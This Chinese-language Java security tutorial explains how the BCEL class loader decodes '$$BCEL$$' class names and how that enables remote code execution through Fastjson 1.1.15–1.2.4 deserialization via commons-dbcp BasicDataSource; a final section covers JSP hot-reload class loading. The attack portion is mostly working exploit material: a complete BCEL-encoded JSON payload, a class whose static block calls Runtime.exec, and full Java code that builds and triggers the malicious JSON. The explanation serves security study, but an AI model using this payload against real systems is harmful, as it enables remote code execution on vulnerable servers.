这种特殊处理机制被一些攻击者利用,用于编写和加载恶意的Java类。这种技术在一些Java反序列化攻击和远程代码执行漏洞利用中被广泛应用。

攻击过程概述

  1. 生成恶意字节码
    • 攻击者使用BCEL生成包含恶意代码的Java类字节码,并将类名包含$$BCEL$$标识。
  2. 加密和传输
    • 为了绕过简单的安全检测,攻击者通常会对生成的字节码进行加密或编码,并通过网络传输到目标系统。
  3. 解码和加载
    • 目标系统通过反序列化或其他方式接收并解码恶意字节码。
    • 使用自定义类加载器加载解码后的字节码。
  4. 执行恶意代码
    • 通过调用恶意类的方法,执行嵌入的恶意代码,达到攻击目的。

详细示例

以下是一个简化的示例,展示了如何使用BCEL生成包含$$BCEL$$标识的恶意类,并通过自定义类加载器加载和执行该类。

生成恶意字节码

首先,使用BCEL生成一个包含恶意代码的类,并将类名包含$$BCEL$$标识:

Pom.xml设置:

    <dependencies>
        <dependency>
            <groupId>org.apache.bcel</groupId>
            <artifactId>bcel</artifactId>
            <version>6.5.0</version> <!-- 确保使用最新版本 -->
        </dependency>
    </dependencies>
import org.apache.bcel.generic.ClassGen;
import org.apache.bcel.generic.ConstantPoolGen;
import org.apache.bcel.generic.InstructionList;
import org.apache.bcel.generic.MethodGen;
import org.apache.bcel.generic.Type;
import org.apache.bcel.Constants;

public class BCELExample {
    public static void main(String[] args) {
        String className = "Exploit$$BCEL$$";
        ClassGen classGen = new ClassGen(className, "java.lang.Object", "<generated>",
                Constants.ACC_PUBLIC | Constants.ACC_SUPER, null);

        ConstantPoolGen cpGen = classGen.getConstantPool();
        InstructionList il = new InstructionList();
        MethodGen methodGen = new MethodGen(Constants.ACC_PUBLIC, Type.VOID, Type.NO_ARGS, new String[] {}, "exploit",
                className, il, cpGen);

        // 添加简单的打印指令
        il.append(new org.apache.bcel.generic.PUSH(cpGen, "Exploit executed!"));
        il.append(new org.apache.bcel.generic.INVOKESTATIC(cpGen.addMethodref("java.lang.System", "out", "Ljava/io/PrintStream;"), "println", "(Ljava/lang/String;)V"));
        il.append(org.apache.bcel.generic.InstructionFactory.createReturn(Type.VOID));

        methodGen.setMaxStack();
        classGen.addMethod(methodGen.getMethod());
        il.dispose();

        try {
            java.io.FileOutputStream fos = new java.io.FileOutputStream("Exploit$$BCEL$$.class");
            classGen.getJavaClass().dump(fos);
            fos.close();
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }
}

BCEL攻击原理

当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass加载一个类名中带有$$BCEL$$的类时会截取出$$BCEL$$后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

BCEL编解码

BCEL编码:

private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];

// BCEL编码类字节码
        String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);

编码后的类名:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d......,BCEL会对类字节码进行编码,

BCEL解码:

int    index    = className.indexOf("$$BCEL$$");
        String realName = className.substring(index + 8);

// BCEL解码类字节码
        byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);

如果被加载的类名中包含了$$BCEL$$关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类。

BCEL兼容性问题

BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes就已经过时了,如下:

/**
 * @param bytes the raw bytes of this Utf-8
 * @deprecated (since 6.0)
 */
@java.lang.Deprecated
public final void setBytes( final String bytes ) {
        throw new UnsupportedOperationException();
        }

Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7JDK8 - JDK8u241JDK9

BCEL FastJson攻击链分析

Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链,利用代码如下:

{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}}

FastJson自动调用setter方法修改org.apache.commons.dbcp.BasicDataSource类的driverClassNamedriverClassLoader值,driverClassName是经过BCEL编码后的com.anbai.sec.classloader.TestBCELClass类字节码,driverClassLoader是一个由FastJson创建的org.apache.bcel.util.ClassLoader实例。

示例 - com.anbai.sec.classloader.TestBCELClass类:

package com.anbai.sec.classloader;

import java.io.IOException;

public class TestBCELClass {

    static {
        String command = "open -a Calculator.app";
        String osName  = System.getProperty("os.name");

        if (osName.startsWith("Windows")) {
            command = "calc 12345678901234567";
        } else if (osName.startsWith("Linux")) {
            command = "curl localhost:9999/";
        }

        try {
            Runtime.getRuntime().exec(command);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

}

使用BCEL编码com.anbai.sec.classloader.TestBCELClass类字节码:

/**
 * 将一个Class文件编码成BCEL类
 *
 * @param classFile Class文件路径
 * @return 编码后的BCEL类
 * @throws IOException 文件读取异常
 */
public static String bcelEncode(File classFile) throws IOException {
        return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
        }

从JSON反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于FastJson会自动调用getter方法,org.apache.commons.dbcp.BasicDataSource本没有connection成员变量,但有一个getConnection()方法,按理来讲应该不会调用getConnection()方法,但是FastJson会通过getConnection()这个方法名计算出一个名为connection的field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters,因此FastJson最终还是调用了getConnection()方法。

getConnection()方法被调用时就会使用注入进来的org.apache.bcel.util.ClassLoader类加载器加载注入进来恶意类字节码,如下图:

img

因为使用了反射的方式加载com.anbai.sec.classloader.TestBCELClass类,而且还特意指定了需要初始化类(Class.forName(driverClassName, true, driverClassLoader);),因此该类的静态语句块(static{...})将会被执行,完整的攻击示例代码如下:

package com.anbai.sec.classloader;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import org.apache.commons.dbcp.BasicDataSource;
import org.javaweb.utils.FileUtils;

import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;

public class BCELClassLoader {

    /**
     * com.anbai.sec.classloader.TestBCELClass类字节码,Windows和MacOS弹计算器,Linux执行curl localhost:9999
     * </pre>
     */
    private static final byte[] CLASS_BYTES = new byte[]{
            -54, -2, -70, -66, 0, 0, 0, 50, 0, // .... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/BCELClassLoader.java
    };

    /**
     * 将一个Class文件编码成BCEL类
     *
     * @param classFile Class文件路径
     * @return 编码后的BCEL类
     * @throws IOException 文件读取异常
     */
    public static String bcelEncode(File classFile) throws IOException {
        return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true);
    }

    /**
     * BCEL命令执行示例,测试时请注意兼容性问题:① 适用于BCEL 6.0以下。② JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9
     *
     * @throws Exception 类加载异常
     */
    public static void bcelTest() throws Exception {
        // 使用反射是为了防止高版本JDK不存在com.sun.org.apache.bcel.internal.util.ClassLoader类
//      Class<?> bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");

        // 创建BCEL类加载器
//          ClassLoader classLoader = (ClassLoader) bcelClass.newInstance();
//          ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader();
        ClassLoader classLoader = new org.apache.bcel.util.ClassLoader();

        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

        System.out.println(className);

        Class<?> clazz = Class.forName(className, true, classLoader);

        System.out.println(clazz);
    }

    /**
     * Fastjson 1.1.15 - 1.2.4 反序列化RCE示例,示例程序考虑到测试环境的兼容性,采用的都是Apache commons dbcp和bcel
     *
     * @throws IOException BCEL编码异常
     */
    public static void fastjsonRCE() throws IOException {
        // BCEL编码类字节码
        String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true);

        // 构建恶意的JSON
        Map<String, Object> dataMap        = new LinkedHashMap<String, Object>();
        Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>();

        dataMap.put("@type", BasicDataSource.class.getName());
        dataMap.put("driverClassName", className);

        classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName());
        dataMap.put("driverClassLoader", classLoaderMap);

        String json = JSON.toJSONString(dataMap);
        System.out.println(json);

        JSONObject jsonObject = JSON.parseObject(json);
        System.out.println(jsonObject);
    }

    public static void main(String[] args) throws Exception {
//      bcelTest();
        fastjsonRCE();
    }

}

JSP类加载

JSP是JavaEE中的一种常用的脚本文件,可以在JSP中调用Java代码,实际上经过编译后的jsp就是一个Servlet文件,JSP和PHP一样可以实时修改。

众所周知,Java的类是不允许动态修改的(这里特指新增类方法或成员变量),之所以JSP具备热更新的能力,实际上借助的就是自定义类加载行为,当Servlet容器发现JSP文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待GC。

示例 - 模拟的JSP文件动态加载程序:

package com.anbai.sec.classloader;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.io.File;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.HashMap;
import java.util.Map;

public class TestJSPClassLoader {

    /**
     * 缓存JSP文件和类加载,刚jsp文件修改后直接替换类加载器实现JSP类字节码热加载
     */
    private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap<File, JSPClassLoader>();

    /**
     * 创建用于测试的test.jsp类字节码,类代码如下:
     * <pre>
     * package com.anbai.sec.classloader;
     *
     * public class test_jsp {
     *     public void _jspService() {
     *         System.out.println("Hello...");
     *     }
     * }
     * </pre>
     *
     * @param className 类名
     * @param content   用于测试的输出内容,如:Hello...
     * @return test_java类字节码
     * @throws Exception 创建异常
     */
    public static byte[] createTestJSPClass(String className, String content) throws Exception {
        // 使用Javassist创建类字节码
        ClassPool classPool = ClassPool.getDefault();

        // 创建一个类,如:com.anbai.sec.classloader.test_jsp
        CtClass ctServletClass = classPool.makeClass(className);

        // 创建_jspService方法
        CtMethod ctMethod = new CtMethod(CtClass.voidType, "_jspService", new CtClass[]{}, ctServletClass);
        ctMethod.setModifiers(Modifier.PUBLIC);

        // 写入hello方法代码
        ctMethod.setBody("System.out.println(\"" + content + "\");");

        // 将hello方法添加到类中
        ctServletClass.addMethod(ctMethod);

        // 生成类字节码
        byte[] bytes = ctServletClass.toBytecode();

        // 释放资源
        ctServletClass.detach();

        return bytes;
    }

    /**
     * 检测jsp文件是否改变,如果发生了修改就重新编译jsp并更新该jsp类字节码
     *
     * @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在
     * @param className 类名
     * @param bytes     类字节码
     * @param parent    JSP的父类加载
     */
    public JSPClassLoader getJSPFileClassLoader(File jspFile, String className, byte[] bytes, ClassLoader parent) {
        JSPClassLoader jspClassLoader = this.jspClassLoaderMap.get(jspFile);

        // 模拟第一次访问test.jsp时jspClassLoader是空的,因此需要创建
        if (jspClassLoader == null) {
            jspClassLoader = new JSPClassLoader(parent);
            jspClassLoader.createClass(className, bytes);

            // 缓存JSP文件和所使用的类加载器
            this.jspClassLoaderMap.put(jspFile, jspClassLoader);

            return jspClassLoader;
        }

        // 模拟第二次访问test.jsp,这个时候内容发生了修改,这里实际上应该检测文件的最后修改时间是否相当,
        // 而不是检测是否是0,因为当jspFile不存在的时候返回值是0,所以这里假设0表示这个文件被修改了,
        // 那么需要热加载该类字节码到类加载器。
        if (jspFile.lastModified() == 0) {
            jspClassLoader = new JSPClassLoader(parent);
            jspClassLoader.createClass(className, bytes);

            // 缓存JSP文件和所使用的类加载器
            this.jspClassLoaderMap.put(jspFile, jspClassLoader);
            return jspClassLoader;
        }

        return null;
    }

    /**
     * 使用动态的类加载器调用test_jsp#_jspService方法
     *
     * @param jspFile   JSP文件对象,因为是模拟的jsp文件所以这个文件不需要存在
     * @param className 类名
     * @param bytes     类字节码
     * @param parent    JSP的父类加载
     */
    public void invokeJSPServiceMethod(File jspFile, String className, byte[] bytes, ClassLoader parent) {
        JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent);

        try {
            // 加载com.anbai.sec.classloader.test_jsp类
            Class<?> jspClass = jspClassLoader.loadClass(className);

            // 创建test_jsp类实例
            Object jspInstance = jspClass.newInstance();

            // 获取test_jsp#_jspService方法
            Method jspServiceMethod = jspClass.getMethod("_jspService");

            // 调用_jspService方法
            jspServiceMethod.invoke(jspInstance);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        TestJSPClassLoader test = new TestJSPClassLoader();

        String      className   = "com.anbai.sec.classloader.test_jsp";
        File        jspFile     = new File("/data/test.jsp");
        ClassLoader classLoader = ClassLoader.getSystemClassLoader();

        // 模拟第一次访问test.jsp文件自动生成test_jsp.java
        byte[] testJSPClass01 = createTestJSPClass(className, "Hello...");

        test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader);

        // 模拟修改了test.jsp文件,热加载修改后的test_jsp.class
        byte[] testJSPClass02 = createTestJSPClass(className, "World...");
        test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader);
    }

    /**
     * JSP类加载器
     */
    static class JSPClassLoader extends ClassLoader {

        public JSPClassLoader(ClassLoader parent) {
            super(parent);
        }

        /**
         * 创建类
         *
         * @param className 类名
         * @param bytes     类字节码
         */
        public void createClass(String className, byte[] bytes) {
            defineClass(className, bytes, 0, bytes.length);
        }

    }

}

该示例程序通过Javassist动态生成了两个不同的com.anbai.sec.classloader.test_jsp类字节码,模拟JSP文件修改后的类加载,核心原理就是检测到JSP文件修改后动态替换类加载器,从而实现JSP热加载,具体的处理逻辑如下(第3和第4部未实现,使用了Javassist动态创建):

  1. 模拟客户端第一次访问test.jsp;
  2. 检测是否已缓存了test.jsp的类加载;
  3. Servlet容器找到test.jsp文件并编译成test_jsp.java
  4. 编译成test_jsp.class文件
  5. 创建test.jsp文件专用的类加载器jspClassLoader,并缓存到jspClassLoaderMap对象中;
  6. jspClassLoader加载test_jsp.class字节码并创建com.anbai.sec.classloader.test_jsp类;
  7. jspClassLoader调用com.anbai.sec.classloader.test_jsp类的_jspService方法;
  8. 输出Hello...
  9. 模拟客户端第二次访问test.jsp;
  10. 假设test.jsp文件发生了修改,重新编译test.jsp并创建一个新的类加载器jspClassLoader加载新的类字节码;
  11. 使用新创建的jspClassLoader类加载器调用com.anbai.sec.classloader.test_jsp类的_jspService方法;
  12. 输出World...

留言讨论

0 条留言

正在加载留言...